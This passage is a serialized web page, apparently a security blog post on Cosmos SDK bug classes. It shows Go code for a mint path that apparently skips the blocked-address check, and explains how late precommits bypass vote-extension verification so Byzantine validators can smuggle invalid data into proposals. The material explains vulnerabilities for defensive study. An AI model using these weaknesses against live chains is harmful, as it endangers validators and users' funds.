recipient",{"type":23,"tag":481,"props":79687,"children":79688},{"style":525},[79689],{"type":28,"value":588},{"type":23,"tag":481,"props":79691,"children":79692},{"style":508},[79693],{"type":28,"value":45945},{"type":23,"tag":481,"props":79695,"children":79696},{"style":514},[79697],{"type":28,"value":73948},{"type":23,"tag":481,"props":79699,"children":79700},{"style":508},[79701],{"type":28,"value":76173},{"type":23,"tag":481,"props":79703,"children":79704},{"style":525},[79705],{"type":28,"value":199},{"type":23,"tag":481,"props":79707,"children":79708},{"style":610},[79709],{"type":28,"value":79710},"AccAddressFromBech32",{"type":23,"tag":481,"props":79712,"children":79713},{"style":525},[79714],{"type":28,"value":618},{"type":23,"tag":481,"props":79716,"children":79717},{"style":508},[79718],{"type":28,"value":79660},{"type":23,"tag":481,"props":79720,"children":79721},{"style":525},[79722],{"type":28,"value":199},{"type":23,"tag":481,"props":79724,"children":79725},{"style":508},[79726],{"type":28,"value":79727},"Recipient",{"type":23,"tag":481,"props":79729,"children":79730},{"style":525},[79731],{"type":28,"value":675},{"type":23,"tag":481,"props":79733,"children":79734},{"class":483,"line":1329},[79735,79739,79743,79747,79751],{"type":23,"tag":481,"props":79736,"children":79737},{"style":535},[79738],{"type":28,"value":790},{"type":23,"tag":481,"props":79740,"children":79741},{"style":508},[79742],{"type":28,"value":46046},{"type":23,"tag":481,"props":79744,"children":79745},{"style":514},[79746],{"type":28,"value":61915},{"type":23,"tag":481,"props":79748,"children":79749},{"style":497},[79750],{"type":28,"value":79450},{"type":23,"tag":481,"props":79752,"children":79753},{"style":525},[79754],{"type":28,"value":809},{"type":23,"tag":481,"props":79756,"children":79757},{"class":483,"line":1337},[79758,79762,79767,79771,79775,79779,79784,79788,79792],{"type":23,"tag":481,"props":79759,"children":79760},{"style":535},[79761],{"type":28,"value":76608},{"type":23,"tag":481,"props":79763,"children":79764},{"style":508},[79765],{"type":28,"value":79766}," fmt",{"type":23,"tag":481,"props":79768,"children":79769},{"style":525},[79770],{"type":28,"value":199},{"type":23,"tag":481,"props":79772,"children":79773},{"style":610},[79774],{"type":28,"value":79483},{"type":23,"tag":481,"props":79776,"children":79777},{"style":525},[79778],{"type":28,"value":618},{"type":23,"tag":481,"props":79780,"children":79781},{"style":1805},[79782],{"type":28,"value":79783},"\"failed to parse recipient address: %w\"",{"type":23,"tag":481,"props":79785,"children":79786},{"style":525},[79787],{"type":28,"value":588},{"type":23,"tag":481,"props":79789,"children":79790},{"style":508},[79791],{"type":28,"value":45945},{"type":23,"tag":481,"props":79793,"children":79794},{"style":525},[79795],{"type":28,"value":675},{"type":23,"tag":481,"props":79797,"children":79798},{"class":483,"line":1369},[79799],{"type":23,"tag":481,"props":79800,"children":79801},{"style":525},[79802],{"type":28,"value":870},{"type":23,"tag":481,"props":79804,"children":79805},{"class":483,"line":1377},[79806],{"type":23,"tag":481,"props":79807,"children":79808},{"emptyLinePlaceholder":15},[79809],{"type":28,"value":1210},{"type":23,"tag":481,"props":79811,"children":79812},{"class":483,"line":1437},[79813,79817,79822,79826,79831,79835,79839,79843,79848,79852,79857],{"type":23,"tag":481,"props":79814,"children":79815},{"style":535},[79816],{"type":28,"value":790},{"type":23,"tag":481,"props":79818,"children":79819},{"style":508},[79820],{"type":28,"value":79821}," bytes",{"type":23,"tag":481,"props":79823,"children":79824},{"style":525},[79825],{"type":28,"value":199},{"type":23,"tag":481,"props":79827,"children":79828},{"style":610},[79829],{"type":28,"value":79830},"Equal",{"type":23,"tag":481,"props":79832,"children":79833},{"style":525},[79834],{"type":28,"value":618},{"type":23,"tag":481,"props":79836,"children":79837},{"style":508},[79838],{"type":28,"value":79660},{"type":23,"tag":481,"props":79840,"children":79841},{"style":525},[79842],{"type":28,"value":199},{"type":23,"tag":481,"props":79844,"children":79845},{"style":610},[79846],{"type":28,"value":79847},"TokenBytes",{"type":23,"tag":481,"props":79849,"children":79850},{"style":525},[79851],{"type":28,"value":15869},{"type":23,"tag":481,"props":79853,"children":79854},{"style":508},[79855],{"type":28,"value":79856},"sourceBTCToken",{"type":23,"tag":481,"props":79858,"children":79859},{"style":525},[79860],{"type":28,"value":12292},{"type":23,"tag":481,"props":79862,"children":79863},{"class":483,"line":6528},[79864,79869,79873,79877,79881,79886,79890,79894,79898,79902,79906,79910,79914,79918],{"type":23,"tag":481,"props":79865,"children":79866},{"style":508},[79867],{"type":28,"value":79868}," err",{"type":23,"tag":481,"props":79870,"children":79871},{"style":514},[79872],{"type":28,"value":517},{"type":23,"tag":481,"props":79874,"children":79875},{"style":508},[79876],{"type":28,"value":78788},{"type":23,"tag":481,"props":79878,"children":79879},{"style":525},[79880],{"type":28,"value":199},{"type":23,"tag":481,"props":79882,"children":79883},{"style":610},[79884],{"type":28,"value":79885},"mintBTC",{"type":23,"tag":481,"props":79887,"children":79888},{"style":525},[79889],{"type":28,"value":618},{"type":23,"tag":481,"props":79891,"children":79892},{"style":508},[79893],{"type":28,"value":17778},{"type":23,"tag":481,"props":79895,"children":79896},{"style":525},[79897],{"type":28,"value":588},{"type":23,"tag":481,"props":79899,"children":79900},{"style":508},[79901],{"type":28,"value":79183},{"type":23,"tag":481,"props":79903,"children":79904},{"style":525},[79905],{"type":28,"value":588},{"type":23,"tag":481,"props":79907,"children":79908},{"style":508},[79909],{"type":28,"value":79660},{"type":23,"tag":481,"props":79911,"children":79912},{"style":525},[79913],{"type":28,"value":199},{"type":23,"tag":481,"props":79915,"children":79916},{"style":508},[79917],{"type":28,"value":76587},{"type":23,"tag":481,"props":79919,"children":79920},{"style":525},[79921],{"type":28,"value":675},{"type":23,"tag":481,"props":79923,"children":79924},{"class":483,"line":6546},[79925,79929,79933,79937,79941],{"type":23,"tag":481,"props":79926,"children":79927},{"style":535},[79928],{"type":28,"value":56328},{"type":23,"tag":481,"props":79930,"children":79931},{"style":508},[79932],{"type":28,"value":46046},{"type":23,"tag":481,"props":79934,"children":79935},{"style":514},[79936],{"type":28,"value":61915},{"type":23,"tag":481,"props":79938,"children":79939},{"style":497},[79940],{"type":28,"value":79450},{"type":23,"tag":481,"props":79942,"children":79943},{"style":525},[79944],{"type":28,"value":809},{"type":23,"tag":481,"props":79946,"children":79947},{"class":483,"line":6591},[79948,79952,79956,79960,79964],{"type":23,"tag":481,"props":79949,"children":79950},{"style":535},[79951],{"type":28,"value":58256},{"type":23,"tag":481,"props":79953,"children":79954},{"style":508},[79955],{"type":28,"value":79766},{"type":23,"tag":481,"props":79957,"children":79958},{"style":525},[79959],{"type":28,"value":199},{"type":23,"tag":481,"props":79961,"children":79962},{"style":610},[79963],{"type":28,"value":79483},{"type":23,"tag":481,"props":79965,"children":79966},{"style":525},[79967],{"type":28,"value":988},{"type":23,"tag":481,"props":79969,"children":79970},{"class":483,"line":6697},[79971,79976],{"type":23,"tag":481,"props":79972,"children":79973},{"style":1805},[79974],{"type":28,"value":79975}," \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":481,"props":79977,"children":79978},{"style":525},[79979],{"type":28,"value":1033},{"type":23,"tag":481,"props":79981,"children":79982},{"class":483,"line":21008},[79983,79988,79992,79997],{"type":23,"tag":481,"props":79984,"children":79985},{"style":508},[79986],{"type":28,"value":79987}," event",{"type":23,"tag":481,"props":79989,"children":79990},{"style":525},[79991],{"type":28,"value":199},{"type":23,"tag":481,"props":79993,"children":79994},{"style":508},[79995],{"type":28,"value":79996},"Sequence",{"type":23,"tag":481,"props":79998,"children":79999},{"style":525},[80000],{"type":28,"value":1033},{"type":23,"tag":481,"props":80002,"children":80003},{"class":483,"line":21043},[80004,80009],{"type":23,"tag":481,"props":80005,"children":80006},{"style":508},[80007],{"type":28,"value":80008}," err",{"type":23,"tag":481,"props":80010,"children":80011},{"style":525},[80012],{"type":28,"value":1033},{"type":23,"tag":481,"props":80014,"children":80015},{"class":483,"line":21051},[80016],{"type":23,"tag":481,"props":80017,"children":80018},{"style":525},[80019],{"type":28,"value":80020}," )\n",{"type":23,"tag":481,"props":80022,"children":80023},{"class":483,"line":21059},[80024],{"type":23,"tag":481,"props":80025,"children":80026},{"style":525},[80027],{"type":28,"value":56412},{"type":23,"tag":481,"props":80029,"children":80030},{"class":483,"line":21068},[80031,80035,80039],{"type":23,"tag":481,"props":80032,"children":80033},{"style":525},[80034],{"type":28,"value":831},{"type":23,"tag":481,"props":80036,"children":80037},{"style":535},[80038],{"type":28,"value":836},{"type":23,"tag":481,"props":80040,"children":80041},{"style":525},[80042],{"type":28,"value":809},{"type":23,"tag":481,"props":80044,"children":80045},{"class":483,"line":21110},[80046],{"type":23,"tag":481,"props":80047,"children":80048},{"style":514},[80049],{"type":28,"value":80050}," ...\n",{"type":23,"tag":481,"props":80052,"children":80053},{"class":483,"line":21143},[80054],{"type":23,"tag":481,"props":80055,"children":80056},{"style":525},[80057],{"type":28,"value":870},{"type":23,"tag":481,"props":80059,"children":80060},{"class":483,"line":21151},[80061],{"type":23,"tag":481,"props":80062,"children":80063},{"style":525},[80064],{"type":28,"value":879},{"type":23,"tag":481,"props":80066,"children":80067},{"class":483,"line":21159},[80068],{"type":23,"tag":481,"props":80069,"children":80070},{"style":514},[80071],{"type":28,"value":17837},{"type":23,"tag":481,"props":80073,"children":80074},{"class":483,"line":21168},[80075],{"type":23,"tag":481,"props":80076,"children":80077},{"style":525},[80078],{"type":28,"value":1443},{"type":23,"tag":481,"props":80080,"children":80081},{"class":483,"line":21244},[80082],{"type":23,"tag":481,"props":80083,"children":80084},{"emptyLinePlaceholder":15},[80085],{"type":28,"value":1210},{"type":23,"tag":481,"props":80087,"children":80088},{"class":483,"line":21277},[80089,80093,80097,80101,80105,80109,80113],{"type":23,"tag":481,"props":80090,"children":80091},{"style":497},[80092],{"type":28,"value":73832},{"type":23,"tag":481,"props":80094,"children":80095},{"style":525},[80096],{"type":28,"value":578},{"type":23,"tag":481,"props":80098,"children":80099},{"style":508},[80100],{"type":28,"value":78660},{"type":23,"tag":481,"props":80102,"children":80103},{"style":943},[80104],{"type":28,"value":77477},{"type":23,"tag":481,"props":80106,"children":80107},{"style":525},[80108],{"type":28,"value":598},{"type":23,"tag":481,"props":80110,"children":80111},{"style":610},[80112],{"type":28,"value":79885},{"type":23,"tag":481,"props":80114,"children":80115},{"style":525},[80116],{"type":28,"value":988},{"type":23,"tag":481,"props":80118,"children":80119},{"class":483,"line":21285},[80120,80124,80128,80132,80136],{"type":23,"tag":481,"props":80121,"children":80122},{"style":508},[80123],{"type":28,"value":17721},{"type":23,"tag":481,"props":80125,"children":80126},{"style":943},[80127],{"type":28,"value":76173},{"type":23,"tag":481,"props":80129,"children":80130},{"style":525},[80131],{"type":28,"value":199},{"type":23,"tag":481,"props":80133,"children":80134},{"style":943},[80135],{"type":28,"value":73881},{"type":23,"tag":481,"props":80137,"children":80138},{"style":525},[80139],{"type":28,"value":1033},{"type":23,"tag":481,"props":80141,"children":80142},{"class":483,"line":21293},[80143,80148,80152,80156,80161],{"type":23,"tag":481,"props":80144,"children":80145},{"style":508},[80146],{"type":28,"value":80147}," recipient",{"type":23,"tag":481,"props":80149,"children":80150},{"style":943},[80151],{"type":28,"value":76173},{"type":23,"tag":481,"props":80153,"children":80154},{"style":525},[80155],{"type":28,"value":199},{"type":23,"tag":481,"props":80157,"children":80158},{"style":943},[80159],{"type":28,"value":80160},"AccAddress",{"type":23,"tag":481,"props":80162,"children":80163},{"style":525},[80164],{"type":28,"value":1033},{"type":23,"tag":481,"props":80166,"children":80167},{"class":483,"line":21330},[80168,80172,80177,80181,80186],{"type":23,"tag":481,"props":80169,"children":80170},{"style":508},[80171],{"type":28,"value":59110},{"type":23,"tag":481,"props":80173,"children":80174},{"style":943},[80175],{"type":28,"value":80176}," math",{"type":23,"tag":481,"props":80178,"children":80179},{"style":525},[80180],{"type":28,"value":199},{"type":23,"tag":481,"props":80182,"children":80183},{"style":943},[80184],{"type":28,"value":80185},"Int",{"type":23,"tag":481,"props":80187,"children":80188},{"style":525},[80189],{"type":28,"value":1033},{"type":23,"tag":481,"props":80191,"children":80192},{"class":483,"line":21343},[80193,80197,80201],{"type":23,"tag":481,"props":80194,"children":80195},{"style":525},[80196],{"type":28,"value":598},{"type":23,"tag":481,"props":80198,"children":80199},{"style":943},[80200],{"type":28,"value":12352},{"type":23,"tag":481,"props":80202,"children":80203},{"style":525},[80204],{"type":28,"value":809},{"type":23,"tag":481,"props":80206,"children":80207},{"class":483,"line":21356},[80208],{"type":23,"tag":481,"props":80209,"children":80210},{"style":514},[80211],{"type":28,"value":17837},{"type":23,"tag":481,"props":80213,"children":80214},{"class":483,"line":21369},[80215,80220,80224,80228,80232,80237,80241,80245],{"type":23,"tag":481,"props":80216,"children":80217},{"style":508},[80218],{"type":28,"value":80219}," err",{"type":23,"tag":481,"props":80221,"children":80222},{"style":514},[80223],{"type":28,"value":517},{"type":23,"tag":481,"props":80225,"children":80226},{"style":508},[80227],{"type":28,"value":78788},{"type":23,"tag":481,"props":80229,"children":80230},{"style":525},[80231],{"type":28,"value":199},{"type":23,"tag":481,"props":80233,"children":80234},{"style":508},[80235],{"type":28,"value":80236},"bankKeeper",{"type":23,"tag":481,"props":80238,"children":80239},{"style":525},[80240],{"type":28,"value":199},{"type":23,"tag":481,"props":80242,"children":80243},{"style":610},[80244],{"type":28,"value":79175},{"type":23,"tag":481,"props":80246,"children":80247},{"style":525},[80248],{"type":28,"value":988},{"type":23,"tag":481,"props":80250,"children":80251},{"class":483,"line":21423},[80252,80256],{"type":23,"tag":481,"props":80253,"children":80254},{"style":508},[80255],{"type":28,"value":23697},{"type":23,"tag":481,"props":80257,"children":80258},{"style":525},[80259],{"type":28,"value":1033},{"type":23,"tag":481,"props":80261,"children":80262},{"class":483,"line":21432},[80263,80268,80272,80277],{"type":23,"tag":481,"props":80264,"children":80265},{"style":508},[80266],{"type":28,"value":80267}," types",{"type":23,"tag":481,"props":80269,"children":80270},{"style":525},[80271],{"type":28,"value":199},{"type":23,"tag":481,"props":80273,"children":80274},{"style":508},[80275],{"type":28,"value":80276},"ModuleName",{"type":23,"tag":481,"props":80278,"children":80279},{"style":525},[80280],{"type":28,"value":1033},{"type":23,"tag":481,"props":80282,"children":80283},{"class":483,"line":29796},[80284,80288],{"type":23,"tag":481,"props":80285,"children":80286},{"style":508},[80287],{"type":28,"value":79685},{"type":23,"tag":481,"props":80289,"children":80290},{"style":525},[80291],{"type":28,"value":1033},{"type":23,"tag":481,"props":80293,"children":80294},{"class":483,"line":29817},[80295,80300],{"type":23,"tag":481,"props":80296,"children":80297},{"style":508},[80298],{"type":28,"value":80299}," coins",{"type":23,"tag":481,"props":80301,"children":80302},{"style":525},[80303],{"type":28,"value":1033},{"type":23,"tag":481,"props":80305,"children":80306},{"class":483,"line":78483},[80307],{"type":23,"tag":481,"props":80308,"children":80309},{"style":525},[80310],{"type":28,"value":21429},{"type":23,"tag":481,"props":80312,"children":80313},{"class":483,"line":78496},[80314,80318,80322,80326,80330],{"type":23,"tag":481,"props":80315,"children":80316},{"style":535},[80317],{"type":28,"value":9766},{"type":23,"tag":481,"props":80319,"children":80320},{"style":508},[80321],{"type":28,"value":46046},{"type":23,"tag":481,"props":80323,"children":80324},{"style":514},[80325],{"type":28,"value":61915},{"type":23,"tag":481,"props":80327,"children":80328},{"style":497},[80329],{"type":28,"value":79450},{"type":23,"tag":481,"props":80331,"children":80332},{"style":525},[80333],{"type":28,"value":809},{"type":23,"tag":481,"props":80335,"children":80336},{"class":483,"line":78504},[80337,80341,80345,80349,80353,80357,80362,80366,80370],{"type":23,"tag":481,"props":80338,"children":80339},{"style":535},[80340],{"type":28,"value":13234},{"type":23,"tag":481,"props":80342,"children":80343},{"style":508},[80344],{"type":28,"value":79766},{"type":23,"tag":481,"props":80346,"children":80347},{"style":525},[80348],{"type":28,"value":199},{"type":23,"tag":481,"props":80350,"children":80351},{"style":610},[80352],{"type":28,"value":79483},{"type":23,"tag":481,"props":80354,"children":80355},{"style":525},[80356],{"type":28,"value":618},{"type":23,"tag":481,"props":80358,"children":80359},{"style":1805},[80360],{"type":28,"value":80361},"\"failed to send coins: %w\"",{"type":23,"tag":481,"props":80363,"children":80364},{"style":525},[80365],{"type":28,"value":588},{"type":23,"tag":481,"props":80367,"children":80368},{"style":508},[80369],{"type":28,"value":45945},{"type":23,"tag":481,"props":80371,"children":80372},{"style":525},[80373],{"type":28,"value":675},{"type":23,"tag":481,"props":80375,"children":80376},{"class":483,"line":78512},[80377],{"type":23,"tag":481,"props":80378,"children":80379},{"style":525},[80380],{"type":28,"value":879},{"type":23,"tag":481,"props":80382,"children":80383},{"class":483,"line":78520},[80384],{"type":23,"tag":481,"props":80385,"children":80386},{"style":514},[80387],{"type":28,"value":17837},{"type":23,"tag":481,"props":80389,"children":80390},{"class":483,"line":78560},[80391],{"type":23,"tag":481,"props":80392,"children":80393},{"style":525},[80394],{"type":28,"value":1443},{"type":23,"tag":435,"props":80396,"children":80398},{"code":80397,"language":73696,"meta":7,"className":73697,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[80399],{"type":23,"tag":64,"props":80400,"children":80401},{"__ignoreMap":7},[80402,80434,80513,80528,80536,80567,80625,80632,80639],{"type":23,"tag":481,"props":80403,"children":80404},{"class":483,"line":484},[80405,80409,80413,80417,80422,80426,80430],{"type":23,"tag":481,"props":80406,"children":80407},{"style":497},[80408],{"type":28,"value":73832},{"type":23,"tag":481,"props":80410,"children":80411},{"style":525},[80412],{"type":28,"value":578},{"type":23,"tag":481,"props":80414,"children":80415},{"style":508},[80416],{"type":28,"value":78660},{"type":23,"tag":481,"props":80418,"children":80419},{"style":943},[80420],{"type":28,"value":80421},"BaseKeeper",{"type":23,"tag":481,"props":80423,"children":80424},{"style":525},[80425],{"type":28,"value":598},{"type":23,"tag":481,"props":80427,"children":80428},{"style":610},[80429],{"type":28,"value":79175},{"type":23,"tag":481,"props":80431,"children":80432},{"style":525},[80433],{"type":28,"value":988},{"type":23,"tag":481,"props":80435,"children":80436},{"class":483,"line":351},[80437,80441,80445,80449,80453,80457,80462,80466,80470,80475,80479,80483,80487,80491,80496,80500,80504,80509],{"type":23,"tag":481,"props":80438,"children":80439},{"style":508},[80440],{"type":28,"value":23354},{"type":23,"tag":481,"props":80442,"children":80443},{"style":943},[80444],{"type":28,"value":73872},{"type":23,"tag":481,"props":80446,"children":80447},{"style":525},[80448],{"type":28,"value":199},{"type":23,"tag":481,"props":80450,"children":80451},{"style":943},[80452],{"type":28,"value":73881},{"type":23,"tag":481,"props":80454,"children":80455},{"style":525},[80456],{"type":28,"value":588},{"type":23,"tag":481,"props":80458,"children":80459},{"style":508},[80460],{"type":28,"value":80461},"senderModule",{"type":23,"tag":481,"props":80463,"children":80464},{"style":943},[80465],{"type":28,"value":33547},{"type":23,"tag":481,"props":80467,"children":80468},{"style":525},[80469],{"type":28,"value":588},{"type":23,"tag":481,"props":80471,"children":80472},{"style":508},[80473],{"type":28,"value":80474},"recipientAddr",{"type":23,"tag":481,"props":80476,"children":80477},{"style":943},[80478],{"type":28,"value":76173},{"type":23,"tag":481,"props":80480,"children":80481},{"style":525},[80482],{"type":28,"value":199},{"type":23,"tag":481,"props":80484,"children":80485},{"style":943},[80486],{"type":28,"value":80160},{"type":23,"tag":481,"props":80488,"children":80489},{"style":525},[80490],{"type":28,"value":588},{"type":23,"tag":481,"props":80492,"children":80493},{"style":508},[80494],{"type":28,"value":80495},"amt",{"type":23,"tag":481,"props":80497,"children":80498},{"style":943},[80499],{"type":28,"value":76173},{"type":23,"tag":481,"props":80501,"children":80502},{"style":525},[80503],{"type":28,"value":199},{"type":23,"tag":481,"props":80505,"children":80506},{"style":943},[80507],{"type":28,"value":80508},"Coins",{"type":23,"tag":481,"props":80510,"children":80511},{"style":525},[80512],{"type":28,"value":1033},{"type":23,"tag":481,"props":80514,"children":80515},{"class":483,"line":531},[80516,80520,80524],{"type":23,"tag":481,"props":80517,"children":80518},{"style":525},[80519],{"type":28,"value":598},{"type":23,"tag":481,"props":80521,"children":80522},{"style":943},[80523],{"type":28,"value":12352},{"type":23,"tag":481,"props":80525,"children":80526},{"style":525},[80527],{"type":28,"value":809},{"type":23,"tag":481,"props":80529,"children":80530},{"class":483,"line":567},[80531],{"type":23,"tag":481,"props":80532,"children":80533},{"style":514},[80534],{"type":28,"value":80535}," ...\n",{"type":23,"tag":481,"props":80537,"children":80538},{"class":483,"line":678},[80539,80543,80547,80551,80555,80559,80563],{"type":23,"tag":481,"props":80540,"children":80541},{"style":535},[80542],{"type":28,"value":13278},{"type":23,"tag":481,"props":80544,"children":80545},{"style":508},[80546],{"type":28,"value":78788},{"type":23,"tag":481,"props":80548,"children":80549},{"style":525},[80550],{"type":28,"value":199},{"type":23,"tag":481,"props":80552,"children":80553},{"style":610},[80554],{"type":28,"value":79191},{"type":23,"tag":481,"props":80556,"children":80557},{"style":525},[80558],{"type":28,"value":618},{"type":23,"tag":481,"props":80560,"children":80561},{"style":508},[80562],{"type":28,"value":80474},{"type":23,"tag":481,"props":80564,"children":80565},{"style":525},[80566],{"type":28,"value":12292},{"type":23,"tag":481,"props":80568,"children":80569},{"class":483,"line":784},[80570,80574,80579,80583,80587,80591,80595,80599,80604,80608,80613,80617,80621],{"type":23,"tag":481,"props":80571,"children":80572},{"style":535},[80573],{"type":28,"value":36717},{"type":23,"tag":481,"props":80575,"children":80576},{"style":508},[80577],{"type":28,"value":80578}," errorsmod",{"type":23,"tag":481,"props":80580,"children":80581},{"style":525},[80582],{"type":28,"value":199},{"type":23,"tag":481,"props":80584,"children":80585},{"style":610},[80586],{"type":28,"value":78442},{"type":23,"tag":481,"props":80588,"children":80589},{"style":525},[80590],{"type":28,"value":618},{"type":23,"tag":481,"props":80592,"children":80593},{"style":508},[80594],{"type":28,"value":78104},{"type":23,"tag":481,"props":80596,"children":80597},{"style":525},[80598],{"type":28,"value":199},{"type":23,"tag":481,"props":80600,"children":80601},{"style":508},[80602],{"type":28,"value":80603},"ErrUnauthorized",{"type":23,"tag":481,"props":80605,"children":80606},{"style":525},[80607],{"type":28,"value":588},{"type":23,"tag":481,"props":80609,"children":80610},{"style":1805},[80611],{"type":28,"value":80612},"\"%s is not allowed to receive funds\"",{"type":23,"tag":481,"props":80614,"children":80615},{"style":525},[80616],{"type":28,"value":588},{"type":23,"tag":481,"props":80618,"children":80619},{"style":508},[80620],{"type":28,"value":80474},{"type":23,"tag":481,"props":80622,"children":80623},{"style":525},[80624],{"type":28,"value":675},{"type":23,"tag":481,"props":80626,"children":80627},{"class":483,"line":812},[80628],{"type":23,"tag":481,"props":80629,"children":80630},{"style":525},[80631],{"type":28,"value":7079},{"type":23,"tag":481,"props":80633,"children":80634},{"class":483,"line":825},[80635],{"type":23,"tag":481,"props":80636,"children":80637},{"style":514},[80638],{"type":28,"value":80535},{"type":23,"tag":481,"props":80640,"children":80641},{"class":483,"line":843},[80642],{"type":23,"tag":481,"props":80643,"children":80644},{"style":525},[80645],{"type":28,"value":1443},{"type":23,"tag":24,"props":80647,"children":80648},{},[80649,80651,80658],{"type":28,"value":80650},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":190,"props":80652,"children":80655},{"href":80653,"rel":80654},"https://hackerone.com/reports/3018307",[194],[80656],{"type":28,"value":80657},"improper decimal handling in the group module",{"type":28,"value":199},{"type":23,"tag":31,"props":80660,"children":80662},{"id":80661},"same-same-but-different",[80663],{"type":28,"value":80664},"Same, Same... But Different",{"type":23,"tag":24,"props":80666,"children":80667},{},[80668,80670,80676,80677,80683,80684,80690,80691,80697],{"type":28,"value":80669},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":64,"props":80671,"children":80673},{"className":80672},[],[80674],{"type":28,"value":80675},"PrepareProposal",{"type":28,"value":588},{"type":23,"tag":64,"props":80678,"children":80680},{"className":80679},[],[80681],{"type":28,"value":80682},"ProcessProposal",{"type":28,"value":588},{"type":23,"tag":64,"props":80685,"children":80687},{"className":80686},[],[80688],{"type":28,"value":80689},"ExtendVote",{"type":28,"value":3965},{"type":23,"tag":64,"props":80692,"children":80694},{"className":80693},[],[80695],{"type":28,"value":80696},"VerifyVoteExtension",{"type":28,"value":80698},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":24,"props":80700,"children":80701},{},[80702],{"type":28,"value":80703},"Two of the best-known attack surfaces are",{"type":23,"tag":73,"props":80705,"children":80706},{},[80707,80736],{"type":23,"tag":77,"props":80708,"children":80709},{},[80710,80715,80716,80721,80723,80728,80729,80734],{"type":23,"tag":64,"props":80711,"children":80713},{"className":80712},[],[80714],{"type":28,"value":80675},{"type":28,"value":578},{"type":23,"tag":64,"props":80717,"children":80719},{"className":80718},[],[80720],{"type":28,"value":80689},{"type":28,"value":80722},") outputs being rejected due to ",{"type":23,"tag":64,"props":80724,"children":80726},{"className":80725},[],[80727],{"type":28,"value":80682},{"type":28,"value":578},{"type":23,"tag":64,"props":80730,"children":80732},{"className":80731},[],[80733],{"type":28,"value":80696},{"type":28,"value":80735},") over-validating, resulting in liveness failures.",{"type":23,"tag":77,"props":80737,"children":80738},{},[80739,80741,80746,80747,80752,80754,80759,80760,80765],{"type":28,"value":80740},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":64,"props":80742,"children":80744},{"className":80743},[],[80745],{"type":28,"value":80675},{"type":28,"value":578},{"type":23,"tag":64,"props":80748,"children":80750},{"className":80749},[],[80751],{"type":28,"value":80689},{"type":28,"value":80753},") are accepted due to ",{"type":23,"tag":64,"props":80755,"children":80757},{"className":80756},[],[80758],{"type":28,"value":80682},{"type":28,"value":578},{"type":23,"tag":64,"props":80761,"children":80763},{"className":80762},[],[80764],{"type":28,"value":80696},{"type":28,"value":80766},") under-validating.",{"type":23,"tag":24,"props":80768,"children":80769},{},[80770],{"type":28,"value":80771},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":24,"props":80773,"children":80774},{},[80775,80777,80783,80785,80790],{"type":28,"value":80776},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":64,"props":80778,"children":80780},{"className":80779},[],[80781],{"type":28,"value":80782},"VoteExtensions",{"type":28,"value":80784}," within ",{"type":23,"tag":64,"props":80786,"children":80788},{"className":80787},[],[80789],{"type":28,"value":80675},{"type":28,"value":80791},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":24,"props":80793,"children":80794},{},[80795,80797,80802,80804,80809],{"type":28,"value":80796},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":64,"props":80798,"children":80800},{"className":80799},[],[80801],{"type":28,"value":80689},{"type":28,"value":80803}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":64,"props":80805,"children":80807},{"className":80806},[],[80808],{"type":28,"value":80696},{"type":28,"value":80810},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":24,"props":80812,"children":80813},{},[80814,80816,80821],{"type":28,"value":80815},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":64,"props":80817,"children":80819},{"className":80818},[],[80820],{"type":28,"value":80696},{"type":28,"value":80822}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":24,"props":80824,"children":80825},{},[80826,80828,80833,80835,80841],{"type":28,"value":80827},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":64,"props":80829,"children":80831},{"className":80830},[],[80832],{"type":28,"value":80696},{"type":28,"value":80834},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":64,"props":80836,"children":80838},{"className":80837},[],[80839],{"type":28,"value":80840},"Proposal",{"type":28,"value":199},{"type":23,"tag":435,"props":80843,"children":80845},{"code":80844,"language":73696,"meta":7,"className":73697,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n 